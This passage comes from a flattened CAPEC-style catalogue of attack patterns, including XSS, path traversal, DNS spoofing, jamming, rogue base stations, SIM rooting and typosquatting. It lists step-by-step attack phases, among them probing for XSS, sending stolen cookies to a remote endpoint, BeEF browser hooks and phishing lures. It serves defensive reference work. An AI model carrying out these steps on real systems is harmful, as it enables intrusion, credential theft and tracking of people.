  • None: No specialized resources are required to execute this type of attack.
Medium: Requires the ability to write scripts of some complexity and to inject it through user controlled fields in the system. Stable Very High 3.9
63
DNS Blocking Detailed An adversary intercepts traffic and intentionally drops DNS requests based on content in the request. In this way, the adversary can deny the availability of specific services or content to the user even if the IP address is changed. 2017-01-12 01:00:00 Capec: CAPEC-589
Cwe: CWE-300
Reference_from_capec: REF-473
2020-12-17 01:00:00 2.1 Availability:
  • Other (Preventing DNS from resolving a request denies the availability of a target site or service for the user.)
Communications
Software
  1. Full URL Based Filtering: Filtering based upon the requested URL. URL String- based Filtering: Filtering based upon the use of particular strings included in the requested URL.
None None
  • This attack requires the ability to conduct deep packet inspection with an In-Path device that can drop the targeted traffic and/or connection.
Draft None 3.9
603
IP Address Blocking Detailed An adversary performing this type of attack drops packets destined for a target IP address. The aim is to prevent access to the service hosted at the target IP address. 2017-01-12 01:00:00 Capec: CAPEC-590
Cwe: CWE-300
Reference_from_capec: REF-475
2019-04-04 02:00:00 2.1 Availability:
  • Other (Blocking packets intended for a target IP address denies its availability to the user.)
Communications
Software
  1. Consider situations of information censorship for political purposes, where regimes that prevent access to specific web services.
None Low
  • This attack requires the ability to conduct deep packet inspection with an In-Path device that can drop the targeted traffic and/or connection.
Draft High 3.9
603
Reflected XSS Detailed This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application. The most common method of this is through a phishing email where the adversary embeds the malicious script with a URL that the victim then clicks on. In processing the subsequent request, the vulnerable web application incorrectly considers the malicious script as valid input and uses it to creates a reposnse that is then sent back to the victim. To launch a successful Reflected XSS attack, an adversary looks for places where user-input is used directly in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines. 2017-04-15 02:00:00 Capec: CAPEC-591
Cwe: CWE-79
Reference_from_capec: REF-476
Reference_from_capec: REF-604
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (A successful Reflected attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
  • Modify Data (A successful Reflected attack can allow an adversary to tamper with application data.)
Availability:
  • Execute Unauthorized Commands (A successful Reflected attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
Authorization:
  • Gain Privileges (A successful Reflected XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
Access Control:
  • Gain Privileges (A successful Reflected XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
Confidentiality:
  • Read Data (A successful Reflected XSS attack can enable an adversary to exfiltrate sensitive information from the application.)
  • Gain Privileges (A successful Reflected XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
  • Execute Unauthorized Commands (A successful Reflected attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
Software
  1. Consider a web application that enables or disables some of the fields of a form on the page via the use of a mode parameter provided on the query string. http://my.site.com/aform.html?mode=full The application’s server-side code may want to display this mode value in the HTML page being created to give the users an understanding of what mode they are in. In this example, PHP is used to pull the value from the URL and generate the desired HTML. Notice how the value provided on the URL is used directly with no input validation performed and no output encoding in place. A maliciously crafted URL can thus be formed such that if a victim clicked on the URL, a malicious script would then be executed by the victim’s browser: http://my.site.com/aform.html?mode=
  2. Reflected XSS attacks can take advantage of HTTP headers to compromise a victim. For example, assume a vulnerable web application called ‘mysite’ dynamically generates a link using an HTTP header such as HTTP_REFERER. Code somewhere in the application could look like: Test URL"?> The HTTP_REFERER header is populated with the URI that linked to the currently executing page. A web site can be created and hosted by an adversary that takes advantage of this by adding a reference to the vulnerable web application. By tricking a victim into clicking a link that executes the attacker’s web page, such as: "http://attackerswebsite.com?" The vulnerable web application ('mysite') is now called via the attacker's web site, initiated by the victim's web browser. The HTTP_REFERER header will contain a malicious script, which is embedded into the page by the vulnerable application and served to the victim. The victim’s web browser then executes the injected script, thus compromising the victim’s machine.

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for reflected XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of HTML special characters to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Change a URL parameter to include a malicious script tag.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
High
  • An application that leverages a client-side web browser with scripting enabled.
  • An application that fail to adequately sanitize or encode untrusted input.
  • None: No specialized resources are required to execute this type of attack.
Medium: Requires the ability to write malicious scripts and embed them into HTTP requests. Stable Very High 3.9
63
Stored XSS Detailed An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input. Initially presented by an adversary to the vulnerable web application, the malicious script is incorrectly considered valid input and is not properly encoded by the web application. A victim is then convinced to use the web application in a way that creates a response that includes the malicious script. This response is subsequently sent to the victim and the malicious script is executed by the victim's browser. To launch a successful Stored XSS attack, an adversary looks for places where stored input data is used in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (), or the addition of event attributes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines. 2017-04-15 02:00:00 Capec: CAPEC-592
Cwe: CWE-79
Reference_from_capec: REF-605
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (A successful Stored XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
  • Modify Data (A successful Stored XSS attack can allow an adversary to tamper with application data.)
Availability:
  • Execute Unauthorized Commands (A successful Stored XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
Authorization:
  • Gain Privileges (A successful Stored XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
Access Control:
  • Gain Privileges (A successful Stored XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
Confidentiality:
  • Read Data (A successful Stored XSS attack can enable an adversary to exfiltrate sensitive information from the application.)
  • Gain Privileges (A successful Stored XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
  • Execute Unauthorized Commands (A successful Stored XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
Software
  1. An adversary determines that a system uses a web based interface for administration. The adversary creates a new user record and supplies a malicious script in the user name field. The user name field is not validated by the system and a new log entry is created detailing the creation of the new user. Later, an administrator reviews the log in the administrative console. When the administrator comes across the new user entry, the browser sees a script and executes it, stealing the administrator's authentication cookie and forwarding it to the adversary. An adversary then uses the received authentication cookie to log in to the system as an administrator, provided that the administrator console can be accessed remotely.
  2. An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of their message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the forum and reads the message, the malicious script is executed within the victim's browser.

Explore

  1. Survey the application for stored user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application. The adversary is looking for areas where user input is stored, such as user profiles, shopping carts, file managers, forums, blogs, and logs.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for stored XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Use a list of XSS probe strings to submit script in input fields that could be stored by the web application. If possible, the probe strings contain a unique identifier so they can be queried for after submitting to see if they are stored.
    Use a list of HTML special characters to submit in input fields that could be stored by the web application and check if they were properly encoded, replaced, or filtered out.
  3. Store malicious XSS content: Once the adversary has determined which stored locations are vulnerable to XSS, they will interact with the web application to store the malicious content. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from a victim.
  4. Techniques
    Store a malicious script on a page that will execute when viewed by the victim.
    Use a tool such as BeEF to store a hook into the web application. This will alert the adversary when the victim has accessed the content and will give the adversary control over the victim's browser, allowing them access to cookies, user screenshot, user clipboard, and more complex XSS attacks.

Exploit

  1. Get victim to view stored content: In order for the attack to be successful, the victim needs to view the stored malicious content on the webpage.
  2. Techniques
    Send a phishing email to the victim containing a URL that will direct them to the malicious stored content.
    Simply wait for a victim to view the content. This is viable in situations where content is posted to a popular public forum.
High
  • An application that leverages a client-side web browser with scripting enabled.
  • An application that fails to adequately sanitize or encode untrusted input.
  • An application that stores information provided by the user in data storage of some kind.
  • None: No specialized resources are required to execute this type of attack.
Medium: Requires the ability to write scripts of varying complexity and to inject them through user controlled fields within the application. Stable Very High 3.9
63
TCP RST Injection Detailed An adversary injects one or more TCP RST packets to a target after the target has made a HTTP GET request. The goal of this attack is to have the target and/or destination web server terminate the TCP connection. 2017-01-03 01:00:00 Capec: CAPEC-596
Cwe: CWE-940
Reference_from_capec: REF-477
2019-04-04 02:00:00 2.1 Communications
Software
None None
  • An On/In Path Device
Draft None 3.9
595
Absolute Path Traversal Detailed An adversary with access to file system resources, either directly or via application logic, will use various file absolute paths and navigation mechanisms such as ".." to extend their range of access to inappropriate areas of the file system. The goal of the adversary is to access directories and files that are intended to be restricted from their access. 2017-01-06 01:00:00 Capec: CAPEC-597
Cwe: CWE-36
2021-10-21 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.)
  • Modify Data (The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.)
Availability:
  • Execute Unauthorized Commands (The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.)
  • Unreliable Execution (The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.)
Confidentiality:
  • Execute Unauthorized Commands (The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.)
  • Read Data (The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.)
Software

Explore

  1. Fingerprinting of the operating system: In order to perform a valid path traversal, the adversary needs to know what the underlying OS is so that the proper file seperator is used.
  2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The adversary uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages
  3. Survey application: Using manual or automated means, an adversary will survey the target application looking for all areas where user input is taken to specify a file name or path.
  4. Techniques
    Use a spidering tool to follow and record all links on a web page. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of a web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore a website and analyze how it is constructed. Many browser's plug-in are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: Using manual or automated means, an adversary attempts varying absolute file paths on all found user input locations and observes the responses.
  2. Techniques
    Access common files in root directories such as "/bin", "/boot", "/lib", or "/home"
    Access a specific drive letter or windows volume letter by specifying "C:dirname" for example
    Access a known Windows UNC share by specifying "\\UNC\share\name" for example

Exploit

  1. Access, modify, or execute arbitrary files.: An adversary injects absolute path traversal syntax into identified vulnerable inputs to cause inappropriate reading, writing or execution of files. An adversary could be able to read directories or files which they are normally not allowed to read. The adversary could also access data outside the web document root, or include scripts, source code and other kinds of files from external websites. Once the adversary accesses arbitrary files, they could also modify files. In particular situations, the adversary could also execute arbitrary code or system commands.
  2. Techniques
    Manipulate file and its path by injecting absolute path sequences (e.g. "/home/file.txt").
    Download files, modify files, or try to execute shell commands (with binary files).
None
  • The target must leverage and access an underlying file system.
  • The attacker must have access to an application interface or a direct shell that allows them to inject directory strings and monitor the results.
Low: Simple command line attacks. Medium: Programming attacks. Draft None 3.9
126
DNS Spoofing Detailed An adversary sends a malicious ("NXDOMAIN" ("No such domain") code, or DNS A record) response to a target's route request before a legitimate resolver can. This technique requires an On-path or In-path device that can monitor and respond to the target's DNS requests. This attack differs from BGP Tampering in that it directly responds to requests made by the target instead of polluting the routing the target's infrastructure uses. 2017-01-04 01:00:00 Capec: CAPEC-598
Reference_from_capec: REF-477
Reference_from_capec: REF-479
2023-01-24 01:00:00 2.1 Software
  1. Below-Recursive DNS Poisoning: When an On/In-path device between a recursive DNS server and a user sends a malicious ("NXDOMAIN" ("No such domain") code, or DNS A record ) response before a legitimate resolver can.
  2. Above-Recursive DNS Poisoning: When an On/In-path device between an authority server (e.g., government-managed) and a recursive DNS server sends a malicious ("NXDOMAIN" ("No such domain")code, or a DNS record) response before a legitimate resolver can.
None None
  • On/In Path Device
Low: To distribute email Draft None 3.9
194
Terrestrial Jamming Detailed In this attack pattern, the adversary transmits disruptive signals in the direction of the target's consumer-level satellite dish (as opposed to the satellite itself). The transmission disruption occurs in a more targeted range. Portable terrestrial jammers have a range of 3-5 kilometers in urban areas and 20 kilometers in rural areas. This technique requires a terrestrial jammer that is more powerful than the frequencies sent from the satellite. 2017-01-12 01:00:00 Capec: CAPEC-599
Reference_from_capec: REF-462
2023-01-24 01:00:00 2.1 Availability:
  • Other (A successful attack will deny, degrade, or disrupt availability of satellite communications for the target by overwhelming its resources to accurately receive authorized transmissions.)
Communications
  1. An attempt to deceive a GPS receiver by broadcasting counterfeit GPS signals, structured to resemble a set of normal GPS signals. These jamming signals may be structured in such a way as to cause the receiver to estimate its position to be somewhere other than where it actually is, or to be located where it is but at a different time, as determined by the adversary.
None Low
  • A terrestrial satellite jammer with a signal more powerful than that of the satellite attempting to communicate with the target. The adversary must know the location of the target satellite dish.
Draft High 3.9
195
Wi-Fi Jamming Detailed In this attack scenario, the attacker actively transmits on the Wi-Fi channel to prevent users from transmitting or receiving data from the targeted Wi-Fi network. There are several known techniques to perform this attack – for example: the attacker may flood the Wi-Fi access point (e.g. the retransmission device) with deauthentication frames. Another method is to transmit high levels of noise on the RF band used by the Wi-Fi network. 2015-11-09 01:00:00 Capec: CAPEC-604
2018-07-31 02:00:00 2.1 Availability:
  • Other (A successful attack will deny the availability of the Wi-fi network to authorized users.)
  • Resource Consumption (The attacker's goal is to prevent users from accessing the wireless network. Denying connectivity to the wireless network prevents the user from being able to transmit or receive any data, which also prevents VOIP calls, however this attack poses no threat to data confidentiality.)
Communications
None Medium
  • Lack of anti-jam features in 802.11
  • Lack of authentication on deauthentication/disassociation packets on 802.11-based networks
Low: This attack can be performed by low capability attackers with freely available tools. Commercial tools are also available that can target select networks or all WiFi networks within a range of several miles. Draft High 3.9
601
Cellular Jamming Detailed In this attack scenario, the attacker actively transmits signals to overpower and disrupt the communication between a cellular user device and a cell tower. Several existing techniques are known in the open literature for this attack for 2G, 3G, and 4G LTE cellular technology. For example, some attacks target cell towers by overwhelming them with false status messages, while others introduce high levels of noise on signaling channels. 2015-11-09 01:00:00 Capec: CAPEC-605
2018-07-31 02:00:00 2.1 Availability:
  • Resource Consumption (The attacker's goal is to prevent users from accessing the cellular network. Denying connectivity to the cellular network prevents the user from being able to transmit or receive any data, which also prevents VOIP calls, however this attack poses no threat to data confidentiality.)
Communications
None None
  • Lack of anti-jam features in cellular technology (2G, 3G, 4G, LTE)
Low: This attack can be performed by low capability attackers with commercially available tools. Draft Low 3.9
601
Weakening of Cellular Encryption Detailed An attacker, with control of a Cellular Rogue Base Station or through cooperation with a Malicious Mobile Network Operator can force the mobile device (e.g., the retransmission device) to use no encryption (A5/0 mode) or to use easily breakable encryption (A5/1 or A5/2 mode). 2015-11-09 01:00:00 Capec: CAPEC-606
Cwe: CWE-757
2018-07-31 02:00:00 2.1 Confidentiality:
  • Other (Tracking, Network Reconnaissance)
Software
None None
  • Cellular devices that allow negotiating security modes to facilitate backwards compatibility and roaming on legacy networks.
Medium: Adversaries can purchase and implement rogue BTS stations at a cost effective rate, and can push a mobile device to downgrade to a non-secure cellular protocol like 2G over GSM or CDMA. Draft High 3.9
620
Cryptanalysis of Cellular Encryption Detailed The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices. 2015-11-09 01:00:00 Capec: CAPEC-608
Cwe: CWE-327
2020-07-30 02:00:00 2.1 Confidentiality:
  • Other (Reveals IMSI and IMEI for tracking of retransmission device and enables further follow-on attacks by revealing black network control messages. (e.g., revealing IP addresses of enterprise servers for VOIP connectivity))
Communications
None None
  • None
Medium: Adversaries can rent commercial supercomputer time globally to conduct cryptanalysis on encrypted data captured from mobile devices. Foreign governments have their own cryptanalysis technology and capabilities. Commercial cellular standards for encryption (GSM and CDMA) are also subject to adversary cryptanalysis. Draft High 3.9
97
Cellular Traffic Intercept Detailed Cellular traffic for voice and data from mobile devices and retransmission devices can be intercepted via numerous methods. Malicious actors can deploy their own cellular tower equipment and intercept cellular traffic surreptitiously. Additionally, government agencies of adversaries and malicious actors can intercept cellular traffic via the telecommunications backbone over which mobile traffic is transmitted. 2015-11-09 01:00:00 Capec: CAPEC-609
Cwe: CWE-311
Attack: T1111
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data (Capture all cellular and RF traffic from mobile and retransmission devices. Move bulk traffic capture to storage area for cryptanalysis of encrypted traffic, and telemetry analysis of non-encrypted data. (packet headers, cellular power data, signal strength, etc.))
Communications
None None
  • None
Medium: Adversaries can purchase hardware and software solutions, or create their own solutions, to capture/intercept cellular radio traffic. The cost of a basic Base Transceiver Station (BTS) to broadcast to local mobile cellular radios in mobile devices has dropped to very affordable costs. The ability of commercial cellular providers to monitor for "rogue" BTS stations is poor in many areas and it is assumed that "rogue" BTS stations exist in urban areas. Draft Low 3.9
157
BitSquatting Detailed An adversary registers a domain name one bit different than a trusted domain. A BitSquatting attack leverages random errors in memory to direct Internet traffic to adversary-controlled destinations. BitSquatting requires no exploitation or complicated reverse engineering, and is operating system and architecture agnostic. Experimental observations show that BitSquatting popular websites could redirect non-trivial amounts of Internet traffic to a malicious entity. 2015-11-09 01:00:00 Capec: CAPEC-611
Reference_from_capec: REF-485
2022-09-29 02:00:00 2.1 Other:
  • Other (Depending on the intention of the adversary, a successful BitSquatting attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.)
Social Engineering

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.
  2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the BitSquatted URL.
  2. Techniques
    Register the BitSquatted domain.

Exploit

  1. Wait for a user to visit the domain: Finally, the adversary simply waits for a user to be unintentionally directed to the BitSquatted domain.
  2. Techniques
    Simply wait for an error in memory to occur, redirecting the user to the malicious domain.
Low
  • An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.
Low: Adversaries must be able to register DNS hostnames/URL’s. Draft Medium 3.9
616
WiFi MAC Address Tracking Detailed In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future. 2015-11-09 01:00:00 Capec: CAPEC-612
Cwe: CWE-201
Cwe: CWE-300
2019-04-04 02:00:00 2.1 Communications
Software
None None
  • None
Low: Open source and commercial software tools are available and several commercial advertising companies routinely set up tools to collect and monitor MAC addresses. Draft Low 3.9
292
WiFi SSID Tracking Detailed In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future. 2015-11-09 01:00:00 Capec: CAPEC-613
Cwe: CWE-201
Cwe: CWE-300
2019-09-30 02:00:00 2.1 Communications
Software
None None
  • None
Low: Open source and commercial software tools are available and open databases of known WiFi SSID addresses are available online. Draft Low 3.9
292
Rooting SIM Cards Detailed SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC- enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse. 2015-11-09 01:00:00 Capec: CAPEC-614
Cwe: CWE-327
Reference_from_capec: REF-486
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Confidentiality:
  • Execute Unauthorized Commands
Software
None None
  • A SIM card that relies on the DES cipher.
Medium: This is a sophisticated attack, but detailed techniques are published in open literature. Draft High 3.9
186
Evil Twin Wi-Fi Attack Detailed Adversaries install Wi-Fi equipment that acts as a legitimate Wi-Fi network access point. When a device connects to this access point, Wi-Fi data traffic is intercepted, captured, and analyzed. This also allows the adversary to use "adversary-in-the-middle" (CAPEC-94) for all communications. 2015-11-09 01:00:00 Capec: CAPEC-615
Cwe: CWE-300
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data (Intercept and control Wi-Fi data communications to/from mobile device.)
Communications
Software
Hardware
None None
  • None
Draft Low 3.9
616
Cellular Rogue Base Station Detailed In this attack scenario, the attacker imitates a cellular base station with their own "rogue" base station equipment. Since cellular devices connect to whatever station has the strongest signal, the attacker can easily convince a targeted cellular device (e.g. the retransmission device) to talk to the rogue base station. 2015-11-09 01:00:00 Capec: CAPEC-617
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data (Intercept and control cellular data communications to/from mobile device.)
Communications
Hardware
None None
  • None
Low: This technique has been demonstrated by amateur hackers and commercial tools and open source projects are available to automate the attack. Draft Low 3.9
616
Cellular Broadcast Message Request Detailed In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location. 2015-11-09 01:00:00 Capec: CAPEC-618
Cwe: CWE-201
Reference_from_capec: REF-487
2018-07-31 02:00:00 2.1 Other:
  • Other (An attacker could verify that the target is in (or not in) a given location.)
Communications
Software
None None
  • The attacker must have knowledge of the target’s mobile phone number.
Low: Open source and commercial tools are available for this attack. Draft Low 3.9
292
Signal Strength Tracking Detailed In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking. 2015-11-09 01:00:00 Capec: CAPEC-619
Cwe: CWE-201
2018-07-31 02:00:00 2.1 Communications
Software
None None Low: Commercial tools are available. Draft Low 3.9
292
Analysis of Packet Timing and Sizes Detailed An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients). 2015-11-09 01:00:00 Capec: CAPEC-621
Cwe: CWE-201
2018-07-31 02:00:00 2.1 Confidentiality:
  • Read Data (Derive sensitive information about encrypted data.)
Software
Physical Security
Hardware
None None
  • Use of untrusted communication paths enables an attacker to intercept and log communications, including metadata such as packet timing and sizes.
High: These attacks generally require sophisticated machine learning techniques and require traffic capture as a prerequisite. Draft Low 3.9
189
Electromagnetic Side-Channel Attack Detailed In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack. 2015-11-09 01:00:00 Capec: CAPEC-622
Cwe: CWE-201
2018-07-31 02:00:00 2.1 Confidentiality:
  • Read Data (Derive sensitive information about encrypted data. For mobile devices, depending on which keys are compromised, the attacker may be able to decrypt VOIP communications, impersonate the targeted caller, or access the enterprise VPN server.)
Software
Physical Security
Hardware
None None
  • Proximal access to the device.
Medium: Sophisticated attack, but detailed techniques published in the open literature. Draft Low 3.9
189
Compromising Emanations Attack Detailed Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing. 2015-11-09 01:00:00 Capec: CAPEC-623
Cwe: CWE-201
2018-07-31 02:00:00 2.1 Confidentiality:
  • Read Data (Capture vibrations/emissions from the handset or retransmission device display screen to recreat display information from a distance.)
Software
Physical Security
Hardware
None None
  • Proximal access to the device.
High: Sophisticated attack. Draft Low 3.9
189
Smudge Attack Detailed Attacks that reveal the password/passcode pattern on a touchscreen device by detecting oil smudges left behind by the user’s fingers. 2015-11-09 01:00:00 Capec: CAPEC-626
2019-09-30 02:00:00 2.1 Access Control:
  • Bypass Protection Mechanism
Physical Security
None None
  • The attacker must have physical access to the device.
Medium: The attacker must know how to make use of these smudges. Draft None 3.9
395
Carry-Off GPS Attack Detailed A common form of a GPS spoofing attack, commonly termed a carry-off attack begins with an adversary broadcasting signals synchronized with the genuine signals observed by the target receiver. The power of the counterfeit signals is then gradually increased and drawn away from the genuine signals. Over time, the adversary can carry the target away from their intended destination and toward a location chosen by the adversary. 2015-11-09 01:00:00 Capec: CAPEC-628
Reference_from_capec: REF-489
2019-04-04 02:00:00 2.1 Communications
  1. A "proof-of-concept" attack was successfully performed in June, 2013, when the luxury yacht "White Rose" was misdirected with spoofed GPS signals from Monaco to the island of Rhodes by a group of aerospace engineering students from the Cockrell School of Engineering at the University of Texas in Austin. The students were aboard the yacht, allowing their spoofing equipment to gradually overpower the signal strengths of the actual GPS constellation satellites, altering the course of the yacht.
None Low
  • The target must be relying on valid GPS signal to perform critical operations.
High: This attack requires advanced knoweldge in GPS technology. Draft High 3.9
627
TypoSquatting Detailed An adversary registers a domain name with at least one character different than a trusted domain. A TypoSquatting attack takes advantage of instances where a user mistypes a URL (e.g. www.goggle.com) or not does visually verify a URL before clicking on it (e.g. phishing attack). As a result, the user is directed to an adversary-controlled destination. TypoSquatting does not require an attack against the trusted domain or complicated reverse engineering. 2015-11-09 01:00:00 Capec: CAPEC-630
Reference_from_capec: REF-491
2022-09-29 02:00:00 2.1 Other:
  • Other (Depending on the intention of the adversary, a successful TypoSquatting attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.)
Social Engineering
  1. An adversary sends an email, impersonating paypal.com, to a user stating that they have just received a money transfer and to click the given link to obtain their money. However, the link the in email is paypa1.com instead of paypal.com, which the user clicks without fully reading the link. The user is directed to the adversary's website, which appears as if it is the legitimate paypal.com login page. The user thinks they are logging into their account, but have actually just given their paypal credentials to the adversary. The adversary can now use the user's legitimate paypal credentials to log into the user's account and steal any money which may be in the account. TypoSquatting vulnerability allows an adversary to impersonate a trusted domain and trick a user into visiting the malicious website to steal user credentials.

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.
  2. Techniques
    Research popular or high traffic websites.

Experiment

